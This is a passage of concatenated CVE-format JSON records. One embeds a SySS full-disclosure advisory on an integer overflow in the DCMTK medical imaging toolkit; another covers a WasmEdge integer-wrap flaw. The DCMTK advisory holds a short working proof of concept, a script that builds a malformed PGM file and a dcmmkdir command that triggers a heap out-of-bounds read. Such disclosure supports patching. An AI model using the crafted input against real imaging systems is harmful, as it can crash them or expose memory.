SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/26"
        },
        {
          "url": "http://dicom.offis.de/dcmtk\""
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/26"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-048]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0025",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/26",
            "automated": true,
            "contentSha256": "ee9c7aaeb0a622baca4c79dcf96a3e99ddcb8c8751d3d72450f17f8f448e4df8",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/26",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T08:00:42Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0025"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-046\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s DICOMDIR icon image loading is vulnerable to an integer overflow\nin the PGM image size calculation. An attacker who can supply a\nmalicious PGM file referenced as an external icon can cause a heap\nout-of-bounds read in the icon scaler, leading to a process crash or\npotential information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc\n(line 4489) computes the PGM image buffer size by multiplying the width\nand height parsed from the PGM file header:\n\n  unsigned int pgmWidth, pgmHeight = 0;\n  // ... values parsed from PGM file via sscanf()\n  const unsigned long pgmSize = pgmWidth * pgmHeight;\n  Uint8 *pgmData = new Uint8[pgmSize];\n\nBoth pgmWidth and pgmHeight are unsigned int. Their product is computed\nas unsigned int, and only then assigned to unsigned long.\n\nOn any platform where unsigned int is 32 bits, a crafted PGM file with the\ndimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow\n(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).\n\nThe allocation \"new Uint8[1]\" succeeds, and fread() reads exactly 1 byte\nfrom the PGM file.\n\nThe icon scaler is invoked at line 4505 of dcddirif.cc:\n\n  result = ImagePlugin-\u003escaleData(pgmData, pgmWidth, pgmHeight,\n                                  pixel, width, height);\n\nThe scaler implementation (DicomDirImageImplementation::scaleData in\ndcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from\nunsigned int to Uint16 without validation:\n\n  DiScaleTemplate\u003cUint8\u003e scale(1,\n      OFstatic_cast(Uint16, srcWidth),   // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, srcHeight),  // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, dstWidth),\n      OFstatic_cast(Uint16, dstHeight),\n      1);\n  scale.scaleData(OFstatic_cast(const Uint8 **, \u0026srcData),\n                  \u0026dstData, 1 /* interpolate */);\n\nThe DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,\nline 148) stores the truncated dimensions:\n\n  DiScaleTemplate(const int planes,\n                  const Uint16 src_cols,   // resolution of source image\n                  const Uint16 src_rows,\n                  const Uint16 dest_cols,\n                  const Uint16 dest_rows,\n                  const Uint32 frames,\n                  const int bits = 0)\n\nThe scaleData() method (line 187) then iterates over the source image\nusing the truncated dimensions (65535 * 65535), reading from the 1-byte\nheap allocation through the interpolatePixel() method, causing a heap\nout-of-bounds read.\n\nThe root cause is the unchecked cast from unsigned int to Uint16 in the\nscaler (ddpiimpl.cc:60), which silently truncates dimensions without any\nbounds validation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe integer overflow can be demonstrated using a specially crafted PGM\nfile. The following shell script exemplarily creates such a file named\ndemo.pgm:\n\ncat \u003e create_pgm.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\nprintf \u0027P5\\n4294967295 4294967295\\n255\\n\u0027 \u003e demo.pgm\nprintf \u0027\\x00\u0027 \u003e\u003e demo.pgm\nEOF\n\nIf this PGM file is processed by a vulnerable DCMTK component like\ndcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation\nfault in this proof-of-concept example. The DICOM file PAT001 does not\ncontain pixel data and thus forces a fallback to the default icon.\n\ndcmmkdir +X --default-icon demo.pgm PAT001\nE: no pixel data found in DICOM dataset\nW: cannot create monochrome icon from image file, using default\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n534e146b672ccd13d1a2b134ef623840e775396a (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-046\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/24"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0023",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24",
            "automated": true,
            "contentSha256": "3fe43991bbc456a96307ac83f61414a6bd51af98439dd5d1de4bdfbd1709ab9c",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T07:57:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0023"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-69261",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-02T15:16:09.375291Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-02T15:16:16.123Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "WasmEdge",
          "vendor": "WasmEdge",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.16.0-alpha.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WasmEdge is a WebAssembly runtime. Prior to version 0.16.0-alpha.3, a multiplication in `WasmEdge/include/runtime/instance/memory.h` can wrap, causing `checkAccessBound()` to incorrectly allow the access. This leads to a segmentation fault. Version 0.16.0-alpha.3 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190: Integer Overflow or Wraparound",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-12-30T19:43:59.746Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WasmEdge/WasmEdge/security/advisories/GHSA-89fm-8mr7-gg4m",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WasmEdge/WasmEdge/security/advisories/GHSA-89fm-8mr7-gg4m"
        },
        {
          "name": "https://github.com/WasmEdge/WasmEdge/commit/37cc9fa19bd23edbbdaa9252059b17f191fa4d17",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WasmEdge/WasmEdge/commit/37cc9fa19bd23edbbdaa9252059b17f191fa4d17"
        }
      ],
      "source": {
        "advisory": "GHSA-89fm-8mr7-gg4m",
        "discovery": "UNKNOWN"
      },
      "title": "WasmEdge integer wrap in MemoryInstance::getSpan()\u0027s memory size check"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-69261",
    "datePublished": "2025-12-30T19:43:59.746Z",
    "dateReserved": "2025-12-30T19:01:05.070Z",
    "dateUpdated": "2026-01-02T15:16:16.123Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}